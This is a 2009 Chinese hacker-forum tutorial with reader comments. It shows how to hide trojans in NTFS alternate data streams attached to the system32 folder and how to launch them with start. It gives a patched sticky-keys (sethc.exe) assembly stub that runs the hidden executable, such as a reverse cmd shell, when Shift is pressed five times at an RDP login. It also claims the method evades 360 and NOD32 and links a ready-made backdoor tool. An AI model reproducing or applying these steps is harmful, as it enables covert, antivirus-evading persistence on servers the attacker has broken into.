数据流0day
题记:
首先作为我,gxm,很荣幸的与咔咔在23号的早上凌晨2点多共同研究了流数据这个课题。感谢咔咔的无私奉献。技术共享。才让这数据流充分发挥他的力量。
一,原理
首先说下,NTFS文件系统里存在数据流,这是N久以前的了。NTFS分区的数据流是一个子文件系统允许额外的数据连接到一个特别的文件中,现在的FAT文件系统格式是不支持数据流格式的。你可以在网上查阅资料。比如安全焦点的,貌似现在安焦打不开,地址为:http://www.xfocus.net/articles/200103/81.html,就让我们简单的来按照安焦的文章搞懂NTFS的数据流为何东西。
首先,你要保证你测试的盘符里必须是NTFS格式分区的,比如我的C盘是NTFS,那么我们开始进行测试,我们打开CMD,运行如下命令,echo bugging.com.cn > bugging.txt,如图1
图1
这样就会建立一个名为bugging.txt,内容为bugging.com.cn的记事本。在如下几条命令,来看看
type bugging.txt
edit bugging.txt
notepad bugging.txt
貌似都能在CMD中显示内容吧。呵呵。。。当然,做这个,只不过是为下面做下对比。。在这之前,你先可以 dir查看bugging.txt的大小,比如他多少字节。
下面我们创建一个带有宿主的流文件,运行如下命令来看看:
Echo 漏洞时代 > bugging.txt:kaka.txt,当然,这条命令可没有什么错误就运行了,其中":"号就是你指定关联一个流文件。我们在尝试如下命令:
type bugging.txt:kaka.txt
edit bugging.txt:kaka.txt
notepad bugging.txt:kaka.txt
我们惊奇的发现,前二条命令是查看不到文件的,第三条命令却可以查看。。。。这是为什么呢?安焦上的文章给出的解释是:“这是由于其中的一些WINDOWS工具对处理有关数据流文件的能力不是很强,因为在当时写有关NTFS文件系统的数据流存储的时候很多WINDOWS工具没有相应的更新。”
或许我们可以这么理解。然后我们继续运行dir c:\windows\* > bugging.txt:kaka.txt,在用dir命令查看bugging.txt的大小。发现,他还是没有改变。但是确实我们在宿主bugging.txt上附了很大字节的内容给他,下面,在打这个命令可以为我们解释,notepad bugging.txt:kaka.txt,我们确实可以发现他有内容在上面,继续我们的实验。我们del bugging.txt:kaka.txt看看。貌似删不掉。但是我们删除bugging.txt,他的宿主没了。流也就没了。
在继续我们的实验,我们创建如下命令 echo bugging.com.cn > :kaka.txt,这次是没有宿主的流(其实是不可能的,下面解释到),我们在 notepad :kaka.txt貌似能看到。但是他没有宿主,只能删了当前的文件夹才去掉流,到了这里。基本就是差不多的安焦的给出的原理了。从他们的文章中可以看出,他们貌似只做隐藏的文件来用,其实不然。继续我和咔咔的研究结果给大家。
这里作为数据流,其实只不过是指引了一个方向。我们在抛砖引玉而已,更大的发现还有可能源自于你。所以我们情愿公布出来也不会让他过时(其实已经过时了8年了,没有人注意而已)
从上面可以看出,到底数据流有什么用,难道只是隐藏文件来用(安焦文章的那作者就是用来隐藏文件的),答案当然不是啊。不然我也不可能写这篇文章了。
众所周知,平时留后门啊,留远程木马软件啊,几乎杀毒软件一跟新,他就杀掉了。或者有些杀毒软件是靠行为的方式来杀读。查看特定的文件夹里有特定的东西来判断这是什么木马软件,来杀掉你。但奇怪的是,杀毒软件却对流数据很轻松,或者是查都不查(虽然已经有专门对付流的了,但是装那种软件的人几乎等于0,何况你要发现是不是流文件存在你的电脑里),这里我和咔咔还有.Net/Orac/Php/Inject群里各位兄弟一起测试的,感谢大家,那么重点部分我们开始吧。
咔咔的意思是,平时入侵服务器时。一般都留shift后门了。为何不把我们的木马软件搞成流存在系统里,当然,难题是如何启动流数据,这里,咔咔已经为我们解决了。命令就是:start命令,我们来测试下,我们很简单的把一个程序转变成流数据,然后启动他,运行如下命令:
Type 1.exe >D:\ceshi\2.exe:gxm.exe
Start 2.exe:gxm.exe
结果第一条命令成功了。第二条命令会显示参数不正确。这是由于start命令,启动流文件,必须提供完整路径。我们修改下,start D:\ceshi\2.exe:gxm.exe,如图
成功的启动了2.exe:gxm.exe文件。但是我们删掉了2.exe这个宿主文件,相应的,我们的流文件也就没了。这对我们留后门来说实在不好的办法。那我们换思路吧。我们不在用文件作为宿主,拿文件夹,运行如下命令:
type 1.exe > D:\ceshi:gxm.exe
start D:\ceshi:gxm.exe
哈哈。成功启动了。。。。。(现在明白为什么刚刚没有宿主的:kaka.txt能启动了吧。不相同的貌似notepad 启动不需要完整路径)
现在我们在转变思路,既然要删掉附在ceshi文件夹的流,那势必要删掉ceshi文件夹,如果我们把流写在system32文件夹呢? 命令如下:
Type 完整的木马路径 > %systemroot%\system32:bugging.exe
这条命令完全可以。现在你要想。如果要删掉流文件,你要删掉system32文件夹?重做系统吧。哈哈。我们的病毒竟会留在系统下。跟系统共存亡(当然,现在的查杀流文件的貌似没几个,也好在想检查流文件在哪都难。如果他检测,或许也检测文件吧。因为一个普通的文件格式是:文件头 文件内容 流文件头 流文件内容,想必他检查的是文件了。谁想到会。。。。。。。呵呵。我就不说了,总之流数据一般杀毒很松。或许到不查的地步)。
现在我们要克服另一个难题,如何触发流文件,也就是如何运行流文件,就是想办法怎么运行start %systemroot%\system32:bugging.exe,这条简单的命令。
刚才说了。ミ木葉メ咔咔为了入侵服务器留后门。。。常在3389下做文章,他的做法很简单,还是替换sethc,不过这次替换的sethc是不同的。他事先反汇编了系统自带的sethc.exe(粘滞键),就是启动流文件的 (反汇编后的没有其它高级语言的BUG 如 窗口和文字畸形 等问题 欺骗性更高),这个反汇编后的sethc文件主要目的触发start %systemroot%\system32:bugging.exe,在启动正常的sethc,如果我们放个反弹cmd呢?只要登陆3389,按5次SHIFT,就可以触发sethc,然后执行我们的流病毒,会反弹一个cmd.exe,在正常执行sethc。
到里这里,你可能会说没什么,还是替换sethc.exe,但是你错了,思路是活的,我们只是抛砖引玉。我们需要的只是为了我们特定的环境而去设计的,如果你有你自己特定的环境,完全可以自己实施,想象。比如你让explorer.exe这个系统必须的进程来触发流数据,只要你想办法替换他,把后门做一个流附在system32上呢?这个后门完全是可以自己的,根本就不需要考虑如何自动!因为当你替换explorer的时候,他已经先启动流,在启动explorer。。。。这里抛砖引玉下。流数据还不止这么简单。还有很多技巧可以利用流来完成,包括脚本提权方面(正在研究)
好了。下面我在给下咔咔的启动的 asm 文件:
010030E3 > /6A 60 PUSH 60 ; // ;原入口
点
----------------------------------------------------------------------
--------
01006AF5 > $ 6A 01 PUSH 1 ; // ;新入口
点地址
01006AF7 . 6A 00 PUSH 0
01006AF9 . 68 1F6B0001 PUSH shift.01006B1F ; // ;cmd /c
start %windir%\system32:ka.exe
01006AFE . E8 08BA857B CALL kernel32.7C86250B ; // ;call
WinExec
01006B03 .^ E9 DBC5FFFF JMP shift.010030E3 ; // ;返回到
原入口
修改好后用工具把原入口点改成新入口点保存即可 以上是 Windows XP SP3
下的Sethc(粘滞键)
整个原理部分我就讲到这里,下面是咔咔为大家准备的工具,以及实践方法
二,实践部分
先看下这个界面,如图
相信通过我上面的长篇大论,看了界面就应该知道如何利用了吧。这里我就简单的说下,点击第一步,释放Shift,其他他就是带有触发流数据的shift,点击第二步,第三步释放流后门,释放流后门,默认是用cmd.exe,如果按了5次SHIFT,程序就会去执行cmd流,也可以换自己的后门程序,第四步,替换shift,就是带有触发流数据的sethc。最后一个给你看效果的按键功能。总之,这里GXM不方便测试,程序完全是靠咔咔以及群里认真测试过的。完全可以用,并且在360与nod32下测试通过。一点反映都没有。想必其他的杀软也差不多。
三,总结
终于到总结了。写到这里。Gxm也比较累了。总之,咔咔写的这个程序,只是利用的一部分。更多发挥以及想象要靠大家。各位读者来完成。就像我刚才说的,大可不必用sethc来触发。完全可以用系统必要的进程,来达到自启动,而且杀软对流数据也比较轻松。大家想不到的是这竟然是2001甚至是更超前的技术吧。。。然后我们这些后起之辈完全的无知。当然,现在不晚。大家充分利用,充分想象,或许,下一次的关于流数据webshell提权的文章讲由你来写。。。。
最后感谢ミ木葉メ咔咔分享技术,与大伙一起研究,才有了小有成就的感觉。希望大家发现新技术时,及时共享,与人一起进步,否则,就像这次流文件一样,跨越了将近8年,或者10年,由我们晚辈翻出来研究,这是多么可怕的一件事!最后的最后,gxm打个小广告,gxm来自漏洞时代,地址为,http://www.bugging.com.cn,如果你有兴趣与我们一起进步,就上论坛吧。为了漏洞时代一起努力,一起发展!一起分享技术!
five+shift_back_door+0day:
点击下载此文件
很好的一篇文章,涨见识了
2009-08-28 10:58GXM大牛的 膜拜
2009-08-28 13:44